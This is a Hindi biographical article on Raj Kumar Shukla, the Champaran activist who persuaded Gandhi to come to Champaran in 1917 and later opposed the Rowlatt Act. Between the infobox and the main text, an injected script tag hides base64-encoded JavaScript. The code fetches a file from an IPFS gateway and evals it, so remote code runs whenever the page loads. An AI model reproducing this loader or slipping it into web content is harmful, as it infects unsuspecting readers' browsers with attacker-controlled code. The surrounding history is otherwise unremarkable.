राजकुमार शुक्ल

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राजकुमार शुक्ल
राजकुमार शुक्ल
पूरा नाम राजकुमार शुक्ल
जन्म 23 अगस्त, 1875
जन्म भूमि चम्पारण, बिहार
मृत्यु 20 मई, 1929
मृत्यु स्थान मोतिहारी, बिहार
नागरिकता भारतीय
विशेष योगदान चंपारण सत्याग्रह में अहम योगदान दिया।
अन्य जानकारी ये राजकुमार शुक्ल ही थे जिन्होंने गांधीजी को चंपारण आने को बाध्य किया और आने के बाद गांधीजी के बारे में मौखिक प्रचार करके सबको बताया ताकि जनमानस गांधी पर भरोसा कर सके और गांधी के नेतृत्व में आंदोलन चल सके।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>राजकुमार शुक्ल (अंग्रेज़ी: Raj Kumar Shukla, जन्म: 23 अगस्त, 1875 - मृत्यु: 20 मई, 1929) भारत के स्वतंत्रता संग्राम के समय बिहार के चंपारण के निवासी और स्वतंत्रता सेनानी थे। ये राजकुमार शुक्ल ही थे जिन्होंने गांधीजी को चंपारण आने को बाध्य किया और आने के बाद गांधीजी के बारे में मौखिक प्रचार करके सबको बताया ताकि जनमानस गांधी पर भरोसा कर सके और गांधी के नेतृत्व में आंदोलन चल सके।

चंपारण सत्याग्रह में योगदान

महात्मा गांधी के चंपारण सत्याग्रह में दर्जनों नाम ऐसे रहे जिन्होंने दिन-रात एक कर गांधी का साथ दिया। अपना सर्वस्व त्याग दिया। उन दर्जनों लोगों के तप, त्याग, संघर्ष, मेहनत का ही असर रहा कि कठियावाड़ी ड्रेस में पहुंचे बैरिस्टर मोहनदास करमचंद गांधी चंपारण से ‘महात्मा’ बनकर लौटते हैं और फिर भारत की राजनीति में एक नई धारा बहाते हैं। गांधी 1917 में चंपारण आए तो सबने जाना। गांधीजी के चंपारण आने के पहले भी एक बड़ी आबादी निलहों से अपने सामर्थ्य के अनुसार बड़ी लड़ाई लड़ रही थी। उस आबादी का नेतृत्व शेख गुलाब, राजकुमार शुक्ल, हरबंश सहाय, पीर मोहम्मद मुनिश, संत राउत, डोमराज सिंह, राधुमल मारवाड़ी जैसे लोग कर रहे थे। यह गांधीजी के चंपारण आने के करीब एक दशक पहले की बात है। 1907-08 में निलहों से चंपारण वालों की भिड़ंत हुई थी। यह घटना कम ऐतिहासिक महत्व नहीं रखती। शेख गुलाब जैसे जांबाज ने तो निलहों का हाल बेहाल कर दिया था। चंपारण सत्याग्रह का अध्ययन करने वाले भैरवलाल दास कहते हैं, ‘साठी के इलाके में शेख ने तो अंग्रेज बाबुओं और उनके अर्दलियों को पटक-पटककर मारा था। इस आंदोलन में चंपारण वालों पर 50 से अधिक मुकदमे हुए और 250 से अधिक लोग जेल गये। शेख गुलाब सीधे भिड़े तो पीर मोहम्मद मुनिश जैसे कलमकार ‘प्रताप’ जैसे अखबार में इन घटनाओं की रिपोर्टिंग करके तथ्यों को उजागर कर देश-दुनिया को इससे अवगत कराते रहे। राजकुमार शुक्ल जैसे लोग रैयतों को आंदोलित करने के लिए एक जगह से दूसरी जगह की भाग-दौड़ करते रहे।’

राजकुमार शुक्ल और गाँधीजी

1909 में गोरले नामक एक अधिकारी को भेजा गया। तब नील की खेती में पंचकठिया प्रथा चल रही थी यानी एक बीघा जमीन के पांच कट्ठे में नील की खेती अनिवार्य थी। ‘इस आंदोलन का ही असर रहा कि पंचकठिया की प्रथा तीनकठिया में बदलने लगी यानी रैयतों को पांच की जगह तीन कट्ठे में नील की खेती करने के लिए निलहों ने कहा।’ ‘गांधीजी के आने के पहले चंपारण में इन सारे नायकों की भूमिका महत्वपूर्ण रही।’ इनमें कौन महत्वपूर्ण नायक था, तय करना मुश्किल है। सबकी अपनी भूमिका थी, सबका अपना महत्व था, लेकिन 1907-08 के इस आंदोलन के बाद गांधी को चंपारण लाने में और उन्हें सत्याग्रही बनाने में सबसे महत्वपूर्ण भूमिका रही राजकुमार शुक्ल की। ये राजकुमार शुक्ल ही थे जो गांधीजी को चंपारण लाने की कोशिश करते रहे। गांधीजी को चंपारण बुलाने के लिए एक जगह से दूसरी जगह दौड़ लगाते रहे। चिट्ठियां लिखवाते रहे।
चिट्ठियां गांधीजी को भेजते रहे। पैसे न होने पर चंदा करके, उधार लेकर गांधीजी के पास जाते रहे। कभी अमृत बाजार पत्रिका के दफ्तर में रात गुजारकर कलकत्ता (अब कोलकाता) में गांधीजी का इंतजार करते रहते, कई बार अखबार के कागज को जलाकर खाना बनाकर खाते तो कभी भाड़ा बचाने के लिए शवयात्रा वाली गाड़ी पर सवार होकर यात्रा करते। राजकुमार शुक्ल के ऐसे कई प्रसंग हैं। खुद गांधीजी ने अपनी आत्मकथा ‘माई एक्सपेरिमेंट विद ट्रूथ’ में राजकुमार शुक्ल पर एक पूरा अध्याय लिखा है।[1]

रॉलेट एक्ट का विरोध

पंडित राजकुमार शुक्ल

राजकुमार शुक्ल की जिंदगी का एक महत्वपूर्ण अध्याय गांधीजी के चंपारण से चले जाने के बाद का है, जिस पर अधिक बात नहीं होती। उनके जाने के बाद भी शुक्ल का काम जारी रहता है। रॉलेट एक्ट के विरुद्ध वे ग्रामीणों में जन जागरण फैलाते रहे। इस एक्ट को मार्च, 1919 में अंग्रेजों ने भारत में उभर रहे राष्ट्रीय आंदोलन को कुचलने के उद्देश्य से बनाया था। यह कानून सर सिडनी रॉलेट की अध्यक्षता वाली समिति की सिफारिशों के आधार पर बनाया गया था। इसके अनुसार ब्रितानी सरकार को यह अधिकार प्राप्त हो गया था कि वह किसी भी भारतीय पर अदालत में बिना मुकदमा चलाए और बिना दंड दिए उसे जेल में बंद कर सकती थी। इस कानून के तहत अपराधी को उसके खिलाफ मुकदमा दर्ज करने वाले का नाम जानने का अधिकार भी समाप्त कर दिया गया था। इस कानून के विरोध में देशव्यापी हड़तालें, जुलूस और प्रदर्शन होने लगे। गांधीजी ने व्यापक हड़ताल का आह्वान किया। गौरतलब है कि जलियांवाला बाग़ में रॉलेट एक्ट का विरोध करने के लिए एक सभा हो रही थी, जिसमें अंग्रेज अधिकारी जनरल डायर ने अकारण उस सभा में उपस्थित भीड़ पर गोलियां चलवा दी थीं। इस कानून के ख़िलाफ़ भी वे जनता को जागृत कर रहे थे। राजकुमार शुक्ल 1920 में हुए असहयोग आंदोलन में भी सक्रिय रहे। वे चंपारण में किसान सभा का काम कर रहे थे। राजकुमार शुक्ल को गांधीजी की खबर अखबारों से मिलती रहती थी। उन्होंने उन्हें फिर से चंपारण आने के लिए कई पत्र लिखे पर गांधीजी का कोई आश्वासन नहीं मिला। शुक्ल अपनी जीर्ण-शीर्ण काया लेकर 1929 की शुरुआत में साबरमती आश्रम पहुंचे जहां गांधीजी से उनकी मुलाकात हुई। गांधीजी ने उनसे कहा कि आपकी तपस्या अवश्य रंग लाएगी। राजकुमार ने आगे पूछा, क्या मैं वह दिन देख पाऊंगा? गांधीजी निरुत्तर रहे। साबरमती से लौटकर शुक्ल अपने गांव सतबरिया नहीं गए। उनका स्वास्थ्य ठीक नहीं चल रहा था। 54 वर्ष की उम्र में 1929 में मोतिहारी में उनकी मृत्यु हो गई। मृत्यु के समय उनकी बेटी देवपति वहीं रहती थी। मृत्यु के पूर्व शुक्ल ने अपनी बेटी से ही मुखाग्नि दिलवाने की इच्छा जाहिर की। मोतिहारी के लोगों ने इसके लिए चंदा किया। मोतिहारी में रामबाबू के बगीचे में शुक्ल का अंतिम संस्कार हुआ। उनके श्राद्ध में डॉ. राजेंद्र प्रसाद, अनुग्रह नारायण सिंह, ब्रजकिशोर प्रसाद आदि दर्जनों नेता मौजूद थे।[2]

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टीका टिप्पणी और संदर्भ

  1. कहानी राजकुमार शुक्ल की, जिन्होंने चंपारण में तैयार की गांधी के सत्याग्रह की जमीन (हिंदी) तहलका डॉट कॉम। अभिगमन तिथि: 11 अप्रैल, 2018।
  2. गांधी को 'महात्मा' बनाने वाले राजकुमार (हिंदी) पांचजन्य। अभिगमन तिथि: 11 अप्रैल, 2018।

बाहरी कड़ियाँ

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